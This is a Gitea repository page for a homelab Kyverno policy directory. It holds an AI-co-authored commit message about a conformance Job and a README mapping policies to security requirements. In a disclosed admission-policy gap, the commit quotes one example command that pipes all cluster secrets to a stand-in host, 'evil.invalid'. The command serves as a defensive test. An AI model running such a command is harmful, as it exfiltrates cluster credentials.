Files
home-network-k3s-impl/platform/kyverno
jakman85andClaude Opus 5 d3d5f6d8d2
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:15:25 -05:00
..

platform/kyverno — L0 policy-as-code gate & admission enforcer (T-0.5)

Kyverno is the platform's L0 static/policy gate (in CI, no cluster) and its in-cluster admission enforcer (ADR-0011, docs/14, docs/07). The policies here encode spec invariants as code: they run in CI as a merge gate today (Phase 0, no cluster) and the same policies are wired to run in-cluster as an admission controller later (Phase 2, admission/).

Enforcement complements, never replaces, behavior tests. A policy admitting a manifest is not proof the runtime behaves (R-TEST-01). The L2/L3 Chainsaw behavior + fault-injection tests remain mandatory. See admission/README.md.

Layout

platform/kyverno/
├── README.md                     # this file: policy→requirement map + CI entrypoint
├── labels.md                     # label/annotation convention (PROPOSED contract — escalated)
├── policies/                     # ClusterPolicies (authored once; CI + admission)
│   ├── require-default-deny-baseline.yaml   # R-NET-01 (generate baseline)
│   ├── validate-default-deny-shape.yaml     # R-NET-01 (reject malformed baseline)
│   ├── disallow-plaintext-secrets.yaml      # R-SEC-01 (CI-only: sops block required)
│   ├── restrict-host-namespaces.yaml        # R-SEC-02 (+R-NET-01 bypass guard)
│   ├── require-egress-class-label.yaml      # R-NET-05
│   ├── require-auth-mode-label.yaml         # R-IDP-02
│   └── label-cdi-worker-pods.yaml           # R-NET-05+R-IDP-02 (mutate: CDI's own worker pods)
├── servicedefinition/            # ServiceDefinition shape validation (kyverno-json)
│   ├── validate-servicedefinition.yaml      # R-GITOPS-02
│   ├── payloads/ (valid-* / invalid-*)      # pass & fail fixtures
│   └── README.md
├── tests/                        # `kyverno test` suite — runnable L0 tests NOW, no cluster
│   ├── kyverno-test.yaml                     # policies × fixtures × expected results
│   ├── resources/ (good-* / bad-* fixtures + generated golden)
│   └── controller-worker-pods/               # the CDI-worker mutation, proven BOTH ways
│       ├── kyverno-test.yaml                 #   2 Tests: cdi-sa requester vs ordinary requester
│       ├── userinfo-cdi-sa.yaml / userinfo-ordinary.yaml
│       └── resources/ + patched/             #   real + FORGED importer pods; expected patch
├── admission/                    # in-cluster enforcing bundle (scaffolding, T-2.7)
│   ├── namespace.yaml · helmrelease.yaml · kustomization.yaml
│   ├── secret-provenance.yaml                # R-SEC-01 admission variant (provenance)
│   └── README.md
└── scripts/run-l0.sh             # the single-command CI entrypoint for the gate

Policy → requirement map

Policy / artifact Rule(s) Requirement Spec source Behaves
require-default-deny-baseline generate-default-deny R-NET-01 docs/03 default-deny baseline Every app namespace auto-gets a deny-all (ingress+egress, DNS-only) NetworkPolicy
validate-default-deny-shape baseline-must-deny-both-directions R-NET-01 docs/03 A baseline that leaves a direction open is rejected
disallow-plaintext-secrets secrets-must-be-sops-encrypted R-SEC-01 docs/07, docs/05, ADR-0007 Committed Secrets must be SOPS-encrypted (sops block); plaintext rejected. CI-only
restrict-host-namespaces disallow-host-namespaces, disallow-privileged-containers R-SEC-02 (+R-NET-01) docs/07 least reach App pods can't use hostNetwork/PID/IPC or privileged (would bypass default-deny)
require-egress-class-label require-egress-class R-NET-05 docs/03, docs/13 App pods must declare egress-class ∈ {internet,vpn}
require-auth-mode-label require-auth-mode R-IDP-02 docs/13, docs/15 App pods must declare auth-mode ∈ {oidc,forward-auth,native,none}
label-cdi-worker-pods (mutate) add-worker-pod-labels R-NET-05, R-IDP-02 docs/03, docs/13 CDI's controller-generated worker pods (importer-*/uploader-*/cloner-*, created by SA cdi/cdi-sa) get egress-class: internet + auth-mode: none added, so they satisfy the two policies above instead of being exempted from them. Matched on the generating ServiceAccount, never a pod-name prefix
validate-servicedefinition (kyverno-json) shape / dependencies / storage R-GITOPS-02 docs/13 (+03,15) ServiceDefinition is schema/invariant valid before render; public⇒not none auth
admission/secret-provenance secrets-must-be-flux-managed R-SEC-01 docs/07 Admission-only variant: app-ns Secrets must come from Flux/SOPS (see below)

Coverage of the T-0.5 requirement set: R-TEST-01 (behavior-tagged, reproducible tests — this whole suite), R-NET-01, R-SEC-01, R-SEC-02, R-IDP-02, R-NET-05, R-GITOPS-02. Every policy carries its R-* IDs in the homelab.keithjackson.dev/requirements annotation so the coverage report can pick them up automatically.

CI entrypoint (the L0 gate)

CI (WS-GITOPS .gitea/workflows, then Gitea Actions) runs the single command:

platform/kyverno/scripts/run-l0.sh

which performs, with pinned tool versions (KYVERNO_VERSION, KYVERNO_JSON_VERSION):

# 1) ClusterPolicy tests — offline, no cluster
kyverno test platform/kyverno/tests

# 2) ServiceDefinition validation — offline, no cluster
kyverno-json scan --policy platform/kyverno/servicedefinition/validate-servicedefinition.yaml \
  --payload <each catalog/ ServiceDefinition and the valid-* fixtures>   # must pass
#   plus each invalid-* fixture must be REJECTED (script asserts non-zero exit)

kyverno test emits pass/fail per policy×rule×resource and supports JUnit output for the coverage/merge gate:

kyverno test platform/kyverno/tests --output junit > results/kyverno-l0.junit.xml

Exit non-zero fails the merge gate (docs/14 gating rules). Deterministic, hermetic, self-contained — no cluster, no external state (reproducibility contract, R-TEST-02).

Notes / handoffs

  • Label keys are a proposed contract (labels.md) shared with WS-NET / WS-SEC / WS-GITOPS. Values are spec-fixed; keys need owner sign-off (coordination-protocol §2).
  • Controller-generated pods are a cold-start hazard. A policy that matches any Pod in an app namespace also matches pods that no manifest in git authors. Prod hit this on 2026-09-06: require-auth-mode-label + require-egress-class-label denied CDI's own importer-prime-* pod, so DataVolume unifi/unifi-rootdisk stuck in ImportScheduled and the UniFi VM had no disk. Fix: policies/label-cdi-worker-pods.yaml mutates those pods to carry truthful labels (matched on the generating ServiceAccount cdi/cdi-sa), rather than excluding them. virt-launcher-* pods need nothing — they inherit the VM pod-template labels. KubeVirt hotplug (hp-volume-*) and export (virt-export-*) pods do not inherit them and are unused here; extend the same policy if either is adopted.
  • PolicyException is NOT usable in this install: the Kyverno admission/background/reports controllers all run --enablePolicyException=false (chart default, verified on prod 2026-09-06). The CRD exists (from the pre-applied CRD bundle) so a PolicyException would APPLY cleanly and be silently ignored — a policy hole that looks like a fix and isn't.
  • Secrets CI vs admission divergence is deliberate and documented in admission/README.md and policies/disallow-plaintext-secrets.yaml.
  • The ServiceDefinition JSON Schema (WS-GITOPS T-0.3) is the complementary structural contract; this Kyverno policy encodes the invariants from docs/13.
  • Tool availability: neither kyverno nor kyverno-json is installed on the WS-TEST workstation, so this suite was authored but not executed here; the CI agent (T-0.2/T-0.4 harness) runs scripts/run-l0.sh as the gate.